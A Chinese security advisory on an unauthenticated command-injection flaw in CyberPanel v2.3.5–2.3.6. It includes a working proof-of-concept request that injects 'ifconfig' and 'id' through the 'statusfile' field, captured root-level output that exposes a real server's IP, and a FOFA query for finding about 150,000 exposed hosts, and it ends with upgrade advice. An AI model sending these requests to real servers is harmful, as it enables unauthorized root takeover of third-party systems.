

CyberPanel upgrademysqlstatus 远程命令执行漏洞(QVD-2024-44346)

漏洞描述

该漏洞源于upgrademysqlstatus接口未做身份验证和参数过滤，未授权的攻击者可以通过此接口执行任意命令获取服务器权限，从而造成数据泄露、服务器被接管等严重的后果。目前该漏洞技术细节与EXP已在互联网上公开，鉴于该漏洞影响范围较大，建议用户尽快做好自查及防护。

影响版本

CyberPanel v2.3.5

CyberPanel v2.3.6

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	超危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="CyberPanel"

POC/EXP:

OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0

Content-Type: application/json

Connection: close

```
{"statusfile":"/dev/null; ifconfig; #"}

```

1 发送请求 强制 HTTPS 历史

Request

```
1 OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Content-Type: application/json
5 Connection: close
6 .
7 {"statusfile":"/dev/null; ifconfig; #"}]
```

Responses 1520bytes / 336ms

```
1 HTTP/1.1 200 OK
2 content-type: text/html; charset=utf-8
3 x-xss-protection: 1; mode=block
4 x-frame-options: sameorigin
5 content-security-policy: style-src 'self' 'unsafe-inline'
  https://fonts.googleapis.com https://www.jsdelivriv.com
  https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.
  com https://cdn.jsdelivriv.net
6 x-content-type-options: nosniff
7 referrer-policy: same-origin
8 vary: Accept-Language, Cookie
9 content-language: en
10 cross-origin-opener-policy: same-origin
11 date: Mon, 28 Oct 2024 11:33:58 GMT
12 server: LiteSpeed
13 connection: close
14 Content-Length: 1520
15
16 {"abort": 0, "error_message": "None", "requestStatus":
  "docker0: flags=4099<UP, BROADCAST, MULTICAST> mtu
  1500\n----- inet 172.17.0.1 netmask 255.255.0.0
  broadcast 172.17.255.255\n----- ether
  02:42:ec:ce:b8:1d txqueuelen 0 (Ethernet)\n----- RX
  packets 0 bytes 0 (0.0 B)\n----- RX errors 0 dropped
  0 overruns 0 frame 0\n----- TX packets 0 bytes 0 (0.
  0 B)\n----- TX errors 0 dropped 0 overruns 0 carrier
  0 collisions 0\n\neno1: flags=4163<UP, BROADCAST, RUNNING,
  MULTICAST> mtu 1500\n----- inet 135.181.75.215
  netmask 255.255.255.255 broadcast 0.0.0.0\n----- inet6
  fe80::d65d:64ff:fe3e:a79f prefixlen 64 scopeid
  0x20<link>\n----- inet6 2a01:4f9:4b:13ed:2 prefixlen
  64 scopeid 0x0<global>\n----- ether d4:5d:64:3e:a7:9f
  txqueuelen 1000 (Ethernet)\n----- RX packets
  806241875 bytes 133875139369 (133.8 GB)\n----- RX
  errors 0 dropped 0 overruns 0 frame 0\n----- TX
```

1 发送请求 强制 HTTPS 历史

Request

```
1 OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Content-Type: application/json
5 Connection: close
6 .
7 {"statusfile":"/dev/null; id; #"}]
```

Responses 132bytes / 329ms

```
1 HTTP/1.1 200 OK
2 content-type: text/html; charset=utf-8
3 x-xss-protection: 1; mode=block
4 x-frame-options: sameorigin
5 content-security-policy: style-src 'self' 'unsafe-inline'
  https://fonts.googleapis.com https://www.jsdelivriv.com
  https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.
  com https://cdn.jsdelivriv.net
6 x-content-type-options: nosniff
7 referrer-policy: same-origin
8 vary: Accept-Language, Cookie
9 content-language: en
10 cross-origin-opener-policy: same-origin
11 date: Mon, 28 Oct 2024 11:39:55 GMT
12 server: LiteSpeed
13 connection: close
14 Content-Length: 132
15
16 {"abort": 0, "error_message": "None", "requestStatus":
  "uid=0(root) gid=5001(lscpd) groups=5001(lscpd),999
  (lsadm),65534(nogroup)\n"}]
```

影响独立资产ip15万

A

app="CyberPanel"

⋮ 🔍

会员 支持及工具

☰

all

199,602 条匹配结果 (149,631 条独立IP), 716 ms , 关键词 搜索。
显示一年内数据, 点击 all 查看所有。
智能排除蜜罐/仿冒数据 118 条, 点击查看。

☆ ⬇ AP

网站指纹排名

📄

NThiD...

188,814

To0ez...

4,923

CjySq...

2,047

zSfAK...

1,407

+cZY3...

612

国家/地区排名

» 美国 🇺🇸

61,009

» 新加坡 🇸🇬

35,658

» 德国 🇩🇪

22,995

» 英国 🇬🇧

9,652

» 印度 🇮🇳

8,732

Login - CyberPanel

🇺🇸 美国 / Georgia / Atl...

ASN: 22612

组织: NAMECHEAP-NET

2024-10-28

LiteSpeed

Header

Products

HTTP/1.1 200 OK

Connection: close

Content-Length: 14059

Content-Language: en

Content-Security-Policy: style-src 'self' 'unsafe-inline' com https://www.jsdelivr.com https://cdnjs.cloudflare. strapcdn.com https://cdn.jsdelivr.net

Content-Type: text/html; charset=utf-8

Date: Mon, 28 Oct 2024 10:51:20 GMT

Referer Policy: same origin

修复方案

目前官方已有可更新版本，建议受影响用户升级至最新版本：

CyberPanel >= v2.3.7

官方下载地址：

<https://github.com/usmannasir/cyberpanel/tree/v2.3.7>